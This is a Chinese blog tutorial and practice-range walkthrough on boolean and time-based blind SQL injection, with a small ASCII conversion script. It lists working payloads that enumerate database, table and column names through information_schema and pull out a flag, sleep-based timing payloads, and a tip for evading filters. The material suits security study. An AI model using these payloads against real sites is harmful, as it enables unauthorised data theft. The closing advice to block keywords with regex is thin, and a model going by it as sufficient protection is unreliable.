只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力!
盲注的特点如它的名字那样,它关闭了因恶意语句而导致的报错,也没有了像显错注入那样醒目的提醒。它的提示会很隐晦,就看我们有没有能力能让它显现出来。
盲注也分布尔盲注和时间盲注,这里分别来了解一下各自的区别
布尔盲注:相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,我们就可以规定为布尔盲注。
时间盲注:它比布尔盲注更加神秘,不管你输入什么,页面都还是那个页面,不会因为你的某些条件而发生变化,但这里,如果结合巧妙的语句,让其某些条件的达成,页面会晚一点回复数据,这样就是基于时间的盲注。(这里可能说的不好,等下结合靶场看)
学习盲注之前,我们得先学习几个函数
lentgh()
ascii()
substr()
if()
3. substr()
这是一个分割函数,它需要三个参数substr(“需要分割的数据”,“从哪里开始分割”,“分割多少位”)
看图片了解一下
4. if()
函数,基本在很多的编程语言都有接触到。在这里它也需要三个参数:if(“条件”,“条件为True,执行这里”,“条件为False,执行这里”)
看图片了解详情
这里我选择用浏览器插件HackBar
来做题,因为会频繁改数据,这样会更方面一点。
靶场打开,能看到现在的查询结果为“有数据”。我们开始进行测试。
测试语句:
and 1 like 2
(like和等于有着相同的效果。这里开始会慢慢引进一些bypass语句的小技巧,因为在正常的测试中,等号,单引号这些符号大概率都会被过滤掉)
当条件为False
时,下面的查询结果也发生了变化,所以这里我们能判断执行语句之后的对错与否,结合上面学到函数,我们就可以判断当前库名的长度
测试语句:
and length((select database()))>1
大于11,小于12,说明当前的库名长度等于12,有了长度,我们就得获取准确数据了,结合ascii(),substr()
一起的组合,来获取具体的库名。
测试语句:
and ascii(substr((select database()),1,1))>1
这个语句是这样理解的,select database()
获取当前的库名,substr
从第一个字母开始截取,截取了一位,ascii
将截取的一位转换为ascii码
,在让转换的ascii码
与1
去做比较,可得出True
或者False
的结果
经过测试,得到当前库名第一个ascii码为107,对照ascii码为k
。几次对比,我觉得太过麻烦了,所以我根据网上已有的文章,自己编写了一个python脚本,能快速解码数据(代码如下)这种测试太过繁琐了,我们还是借助Burp工具来完成。
ascii码转换脚本:
import hashlib
print ('--------------ASCII(quit退出)---------------')
def number(a):
b = a.split() #括号填写分割符号,我喜欢用空格,所以这里是空格自动处理
for i in b:
i = int(i)
print (chr(i),end='')
print ("\n")
def string(a):
b = a.split() #括号填写分割符号,我喜欢用空格,所以这里是空格自动处理
for i in b:
print (ord(i),end=' ')
print ("\n")
print('1.数字=>英文'+'\n'+'2.英文=>数字')
problem = int(input())
while True:
if problem == 1:
a = input("数字=>英文(一个或多个): ")
number(a)
if a == 'quit':
break
elif problem == 2:
a = input("英文=>数字(一个或多个): ")
string(a)
if a == 'quit':
break
现在数据是跑出来了,就差拿着全部数据解码了,但我这有更高效便捷的方法。(看下图)
看起来就几个步骤,但没有技巧的话,操作其实还挺麻烦的,接着看。
这样记录起来就会很方便,输入得到的ascii码,就得到了当前的库名
既然方法能行,那就用mysql自带库的方法,获取我们需要的flag值
测试语句:
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1
先确定每个表的长度
根据几次尝试,发现库里有三个表,长度分别为6,4,4。接下来去获得具体的数据
测试语句:
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1
根据第一个结果,我发现已经有flag数值了,所以就不继续找另外两个表明了(在实战环境中,其实能得到一到两个表名就可以了,再多就有谋取别人数据的嫌疑了)拿着这个表名,去获得字段名
测试语句:
and length((select column_name from information_schema.columns where table_schema=database() and table_name=0x6c6f666c6167 limit 0,1))=1
还是先获得字段名的长度先
经过测试发现这里有两个字段,长度分别为2和6,直接测试第二个字段具体是什么数据
测试语句:
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6c6f666c6167 limit 1,1),1,1))>1
得到字段名为flaglo
,拿上表名加字段名,去获取flag数据,当然还是以先获得数据的长度开始
测试语句:
and length((select flaglo from loflag limit 0,1))>1
长度为8,去获得具体的数据
测试语句:
and ascii(substr((select flaglo from loflag limit 0,1),1,1))>1
因为有前者布尔盲注的铺垫,基本知识点都已经提到了,所以,直接上测试语句解析
测试语句:
"and if(length((select database()))>1,sleep(3),1)-- qwe
这里语句的解析是,如果当前库名的长度大于1,就延时3秒返回数据,否则,就马上返回数据
根据图片我们能看出,网页确实晚了3秒,才将数据发过来,所以我们的的语句就是这样构建的
测试语句(确定当前库名长度):
"and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1,sleep(3),1)-- qwe
测试语句(确定当前库名数据):
"and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1,sleep(3),1)-- qwe
具体的操作在布尔盲注已经有了,这里就不在继续赘述了。
这里的防护方法,可采用正则匹配来过滤关键函数,如ascii和substr,还有单双引号等,这样就能有效预防注入的发生。
《最好的防御,是明白其怎么实施的攻击》